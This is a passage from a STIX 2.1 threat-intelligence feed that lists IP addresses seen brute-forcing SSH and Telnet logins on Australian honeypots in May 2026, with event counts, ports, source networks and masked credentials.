      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 141. Sensors involved: Fatt. Target ports: 56342, 5655, 8792, 9642, 10288. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 265523. Organisation(s): Sierra Madre Internet SA de CV.",
      "id": "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.125.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--c85ebcbc-6fa1-490d-831a-936638b75562",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.16.54.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--ab3e778e-5716-4857-8d10-9b3ef297571d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.43.133.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--9e96235e-911f-42f4-a5d4-9394d55a71ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.43.139.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 7602. Organisation(s): Sai gon Postel Corporation.",
      "id": "indicator--a8d113d9-18b2-437a-93e6-491a172384af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.93.75.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--22c1eb3b-c6ee-4297-b420-8be56baef6f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.121.224.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--e08e14c6-b164-4267-a80b-00782f42796c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): u****u, *, a***n, ***, r**t. Passwords observed (masked): u********4, *, 1****6, a***n, p******d.",
      "id": "indicator--eb933212-31b0-4d5f-a99e-c9d25b2bf826",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.246.130.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): u**r. Passwords observed (masked): e*******n, f******f, f*****a, f****e, f******s.",
      "id": "indicator--ad0543e9-cb1e-4d80-bf50-6bc64209f075",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KZ. ASN(s): 48503. Organisation(s): Mobile Telecom-Service LLP.",
      "id": "indicator--7b381112-b658-46d1-8c59-b706612b6d6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.96.73.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): c***e. Passwords observed (masked): c***e, c****1, c******3, c*******4, c********5.",
      "id": "indicator--07494f95-3dca-41bb-90be-b4ac2d0f1303",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 222. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.9.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 9924. Organisation(s): Taiwan Fixed Network, Telco and Network Service Provider.. Usernames observed (masked): u****u, a***n, p******s, r**t, u**r. Passwords observed (masked): ***, 0******u, 1*******c, 1******q, 1**********y.",
      "id": "indicator--936cabd3-f936-42dd-aa4a-8338eff68641",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.199.224.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--8c49b8af-4add-4c9b-aef9-9d7be4bdcd1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.178.33.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Heralding. Target ports: 5432. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc.. Usernames observed (masked): p******s, a*****w, ***, k**g, o**o. Passwords observed (masked): p******s, a*****w, ***, k***************2, k**g.",
      "id": "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24961. Organisation(s): WIIT AG.",
      "id": "indicator--85000b9f-a2ce-4755-b615-f2e1e476d166",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.163.245.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--4c07ecd9-7afa-4822-acf7-b35779cadbb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.204.128.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T00:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): a*******y. Passwords observed (masked): a*******y.",
      "id": "indicator--539b52cf-e27f-4a4e-b93c-ed465e25241b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T00:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.154.35.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T00:15:29.000Z",
      "valid_until": "2026-06-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--1cb39976-0a54-43f1-97f2-55c36ac28057",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.194.10.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c0a4ba6f-c234-409f-a489-51f016d0c5c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.214.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a09a488c-d3e0-43f7-86c8-5338f305ced7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '15.204.12.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--f7e79d24-8eb7-4b8c-8444-c3e05e7b66a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.240.239.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328237. Organisation(s): Mega-Max-AS.",
      "id": "indicator--00480bd9-1a39-4047-82a0-a4cc3db3ac72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.73.234.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--34492354-031b-4f0c-ac70-5e2bb7c97b62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.56.132.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263801. Organisation(s): LINKEAR SRL.",
      "id": "indicator--3e17111e-ff03-412e-a094-f99c3214318e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.196.246.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--07267300-f41a-446c-82c2-9039a75e0ce0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.236.188.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--2bd708a2-2567-4635-8d25-4eff64c55e8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.189.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NI. ASN(s): 14754. Organisation(s): TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA.",
      "id": "indicator--b1c2e515-5081-4412-88ad-27557e191554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.77.196.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GT. ASN(s): 52362. Organisation(s): Servicios Innovadores de Comunicacion y Entretenimiento, S.A..",
      "id": "indicator--a4d45cc6-26ae-4c95-9867-022a82f8e4fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.14.141.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--17c161bd-2689-4309-b3cd-47d041cc9bee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--36e283c4-7868-4e12-bd92-98c14d2d5093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.74.92.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 114. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--2a70b25e-f272-4389-8c5f-ec328218eb5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.47.71.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--c0f198a3-8ea0-4383-9485-d9ac7e83b287",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.76.48.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--0c725f8a-7843-4dbf-8b78-c6ca6cc0624d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.92.198.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T01:15:10.000Z",
      "valid_until": "2026-06-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-01T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 694. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 6698. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--61c60eeb-052f-4755-9152-4f87138a7de9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
